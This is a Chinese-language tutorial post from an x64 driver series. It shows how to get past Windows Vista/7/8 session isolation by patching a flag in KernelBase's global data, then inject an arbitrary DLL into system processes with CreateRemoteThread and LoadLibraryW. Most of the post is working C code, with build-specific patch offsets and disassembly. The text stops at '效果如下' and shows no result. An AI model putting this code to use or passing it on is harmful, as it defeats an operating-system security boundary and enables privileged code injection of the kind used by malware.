x64驅動基礎教程 33
在 NT5 系統裡,只要有 ADMIN 許可權,就可以把任意 DLL 注入到系統程序。 但 NT6 系統為了安全起見,引入了 SESSION 隔離機制,使這一美好的現實化為了泡影。 但實際上微軟並沒有把這一套做絕, SESSION 隔離是在 RING 3 實現的,而非在 RING 0 裡實現。 這就為破解這一機制提供了可能。遠端注入 DLL 主要是使用 CreateRemoteThread 函式, CreateRemoteThread 函式內部又呼叫了 CreateRemoteThreadEx 。 在 CreateRemoteThreadEx 裡,有一處是否禁用 SESSION 隔離的判斷(以下反彙編程式碼來自 WIN7X64SP1 ):
KERNELBASE!CreateRemoteThreadEx+0x224: 000007fe`fd5db564 803dd152050000 cmp byte ptr [KERNELBASE!KernelBaseGlobalData+0x5c (000007fe`fd63083c)],0 000007fe`fd5db56b 0f85d5320100 jne KERNELBASE!CreateRemoteThreadEx+0x343 (000007fe`fd5ee846)
說到這裡, 其實謎底已經揭開了: 直接把 KERNELBASE!KernelBaseGlobalData+0x5c 的值設定為 1 , 即可在系統程序裡建立遠端執行緒。注入 DLL 就按照以前的老方法即可。 另外,每個系統的偏移都不一樣, 在 WIN8X64 和 WIN8.1X64 裡, 是否禁用 SESSION 隔離的值記錄在 KERNELBASE!KernelBaseGlobalData+0x4 處(通過反彙編 CreateRemoteThreadEx 得知)。
typedef void* (__fastcall *LPFN_KernelBaseGetGlobalData)(void); BOOL WINAPI InjectDllExW(DWORD dwPID, PCWSTR pwszProxyFile) { BOOL ret = FALSE; HANDLE hToken = NULL; HANDLE hProcess = NULL; HANDLE hThread = NULL; FARPROC pfnThreadRtn = NULL; PWSTR pwszPara = NULL; PVOID pRemoteShellcode = NULL; CLIENT_ID Cid = { 0 }; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); if (!hProcess) return FALSE; //Get Function Address pfnThreadRtn = GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")),"LoadLibraryW"); //Set String to remote process size_t iProxyFileLen = wcslen(pwszProxyFile)*sizeof(WCHAR); pwszPara = (PWSTR)VirtualAllocEx(hProcess, NULL, iProxyFileLen, MEM_COMMIT, PAGE_READWRITE); if (!pwszPara) return FALSE; WriteProcessMemory(hProcess, pwszPara, (PVOID)pwszProxyFile, iProxyFileLen, NULL); //Start patch LPFN_KernelBaseGetGlobalData pKernelBaseGetGlobalData = NULL; UCHAR* pGlobalData = NULL; UCHAR* pMisc = NULL; ULONG PatchOffset = 0; pKernelBaseGetGlobalData = (LPFN_KernelBaseGetGlobalData)GetProcAddress(LoadLibraryW(L"KernelBase.dll"), "KernelBaseGetGlobalData"); pGlobalData = (UCHAR*)pKernelBaseGetGlobalData(); OSVERSIONINFOA osi = { 0 }; osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA); GetVersionEx(&osi); //Get patch position by build number switch (osi.dwBuildNumber) { /* KERNELBASE!CreateRemoteThreadEx+0x224: 000007fe`fdb1b184 803db156050000 cmp byte ptr [KERNELBASE!KernelBaseGlobalData+0x5c (000007fe`fdb7083c)],0 */ case 7600: case 7601: { PatchOffset = 0x5C; break; } /* KERNELBASE!CreateRemoteThreadEx+0x1a8: 000007fa`7859ef28 44380d35470b00 cmp byte ptr [KERNELBASE!KernelBaseGlobalData+0x4 (000007fa`78653664)],r9b */ case 9200: { PatchOffset = 0x4; break; } default: break; } printf("PatchOffset: %x\n", PatchOffset); pMisc = pGlobalData + PatchOffset; *pMisc = 1; //Create remote thread hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pfnThreadRtn, pwszPara, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); VirtualFreeEx(hProcess, pwszPara, 0, MEM_RELEASE); CloseHandle(hProcess); return TRUE; }
效果如下: